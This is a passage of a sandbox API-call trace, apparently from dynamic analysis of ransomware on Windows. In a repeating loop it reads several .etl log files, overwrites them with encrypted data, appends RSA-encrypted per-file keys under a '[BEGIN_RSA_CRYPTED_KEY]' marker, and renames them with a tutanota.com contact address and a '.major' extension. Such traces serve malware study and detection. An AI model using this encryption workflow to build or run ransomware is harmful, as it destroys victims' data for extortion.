pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.223] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ydiow6yDpmSaSFKZqrhncR6TO7q/Y60x2MUHtZWGQRx/O4xi9r6q54WLvCrWmW/r\n80gTa2nFnkxidQnpq0/iVbAE0eIWeA2vC/f+tmH6qh/v9mFVFpN9T8X4Bs+/Gc4L\n065tmLqAaJfnv8DUDmB9IOqjIbN126bYmmr6VSN+1hv99FwJy+q8lHv8IOkIeOmz\nD6PP+3zaao6fc15jkGsbzjinxsrnKE3ejXNshaBqcXfppnzioQnL26t4JCBKuTxx\n4Q+7xuDqo5cgGncHNgM1lnDzUj4Tjdyb/E2BlqMtOZvKPQ7uUYFaR048WgPIKWS5\nKVEnXOCiefARo5AISQ0IcQ==\n", pcchString=0x2e3f9a8) returned 1 [0153.223] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.223] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.223] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.223] CloseHandle (hObject=0x694) returned 1 [0153.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.223] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x570000) returned 1 [0153.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0153.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653380 | out: hHeap=0x570000) returned 1 [0153.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652968 | out: hHeap=0x570000) returned 1 [0153.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6534b0 [0153.230] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0153.230] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.230] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl", dwFileAttributes=0x80) returned 1 [0153.231] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ff0 [0153.231] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610728 [0153.231] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652ff0 | out: hHeap=0x570000) returned 1 [0153.231] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.231] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.232] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.265] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.265] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.266] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.266] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.266] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.266] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.266] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.267] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.267] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="IuYwC9x1r/Q/hu0Fl8p4LAiS/oNljF5pw3rQwaLk2jbB/8rBoDYIdNmJiBNCQ5EJ\nx6kh/Kf3ENTnH9yP//Litn5gOLDpsa85k6lFkno7VqbFFpRj2X7pfodkinCRc56z\nUjTZTCd1PlcEO8n2pm5UKI7hd+BideIFmMKOtnfronWUfejTjnm3rKepFeOMo7zb\nLz4PH2AXcOo+Y+loEor+qBVTW7wDpsPiYC+9O7Lt637r6KMphmnU7hSYkuvW/GEq\nFnGIsPxkPobLHQ5nQN8HepSJaoENzFtzWiwt9u+MIpDbdaqKHvhDM6Zk7krKYSnA\nIErreM4G00c3pwxzLTYpGw==\n", pcchString=0x2e3f9a8) returned 1 [0153.267] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.267] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.267] CloseHandle (hObject=0x694) returned 1 [0153.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.267] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610728 | out: hHeap=0x570000) returned 1 [0153.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0153.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6534b0 | out: hHeap=0x570000) returned 1 [0153.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652e28 | out: hHeap=0x570000) returned 1 [0153.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652e28 [0153.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0153.269] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.269] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl", dwFileAttributes=0x80) returned 1 [0153.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653380 [0153.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6102a0 [0153.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653380 | out: hHeap=0x570000) returned 1 [0153.270] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.270] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0153.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0153.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0153.270] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.278] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.279] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0153.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0153.279] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0153.279] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.279] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.279] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.279] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.280] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Yk9SbXyrK132+ph957H+bZ+1FmUqoX6hQ87FJNe84pNxYzeW9Y140NItdo1uoDJX\nLw8vzR+rOUpEVNbooiL+f3X6tqEvtJVnG+yQiaG1v3MPyWBq94KtGRhZchbqvEdv\nvFWwxW/xOONchhlGCY7caLv9++sfzDVVMG1UNrXZkr3Sc5FCewUwzOo+4Q82E4mr\ngL/LeBUR9/6XiELyY2CEvPSGS+zYhxDYdkRAGVmKpzlcbABrnRThbLrqFh66icR7\nJ5FX9Ah/BuyEG1D6inm+ynGiLeU7EqKmHLqv87lvx+ORapTH8G9u7DHUCpltwfQR\npekmvcbHDtyoZ1ylTgUdFg==\n", pcchString=0x2e3f9a8) returned 1 [0153.280] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.280] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.280] CloseHandle (hObject=0x694) returned 1 [0153.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.280] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6102a0 | out: hHeap=0x570000) returned 1 [0153.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0153.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652e28 | out: hHeap=0x570000) returned 1 [0153.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653710 | out: hHeap=0x570000) returned 1 [0153.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653418 [0153.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0153.282] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.282] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl", dwFileAttributes=0x80) returned 1 [0153.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652968 [0153.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610470 [0153.282] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652968 | out: hHeap=0x570000) returned 1 [0153.282] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.282] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0153.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0153.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0153.282] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.295] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.296] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0153.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0153.296] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0153.296] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.296] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.296] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.296] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.297] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.297] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="TWSLh7j0SLvoL7H2iRuhk0WFql+nbp/CziMi6RErwJ/vWaNSOD3YKM0ygzL3tNOu\nwyamvYpVL00a5iaVYtkotlurbRc01k47YrpHJWDVf7y1H+vsmd4QMiWyoprinZiy\np5BYJc5zOu3F6QDSMePfvI579ItFV+69bRhXUrIpdFGZpWUGmZvYfySO+BXtqn2e\ntVFmg6moShlSM4z9ruM39xDLQrnne3zgBmsTpR+gUwB0nD9jIxHWHim0bI8Mb0Vv\nF0vUNS8wH+xw6LSdwNFHqygq0onVe1X69RN2S8wo6sQqxHf/XDWaLBYTa6stYWVP\njZDVIMWmAvAiWDYPnkKKNA==\n", pcchString=0x2e3f9a8) returned 1 [0153.297] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.297] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.297] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.297] CloseHandle (hObject=0x694) returned 1 [0153.297] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0153.297] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0153.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610470 | out: hHeap=0x570000) returned 1 [0153.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0153.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653418 | out: hHeap=0x570000) returned 1 [0153.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652b30 | out: hHeap=0x570000) returned 1 [0153.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652ff0 [0153.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0153.299] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0153.299] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl", dwFileAttributes=0x80) returned 1 [0153.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652a00 [0153.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6102a0 [0153.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652a00 | out: hHeap=0x570000) returned 1 [0153.300] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0153.300] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0153.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x6538b0 [0153.300] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x6578b8 [0153.300] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0153.346] SetFilePointer (in: hFile=0x694, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0153.346] WriteFile (in: hFile=0x694, lpBuffer=0x6578b8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6578b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0153.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0153.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578b8 | out: hHeap=0x570000) returned 1 [0153.346] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0153.346] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.346] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0153.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0153.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0153.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0153.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0153.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+3DhRFyFOUdNgrb8rTxG3WHgHQ5p67in23vrxNFhu4ABmt6PU3ydybQvIKb/HQuH\nlSjxOZpL0iLtGxcaDNzZ66UWWn4c3pJXzWYTj6+X9ZTNRhdHhBfoqmz5NkDCpgJt\nSNts85tnYpzcCQSQnBcpH+LecIu9vrp2qWJT2mu+tl+wdIlGYnkzTZ6SSmvL6X8Y\ndj3tSYbCYTNhmkO/7vDRXR0C2mesBeXHMbYYDoOtE33EExWDiKWad6FWJj2kNJy2\n6t8EeGJFzikrPv0m+S6tvHgq3GlEg7hLiV6HL7ZyuSQJdYxXmffmgs9JMyNxmbue\nKbCTUFkZjQJZFPy99b1yLA==\n", pcchString=0x2e3f9a8) returned 1 [0153.347] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0153.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0153.347] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 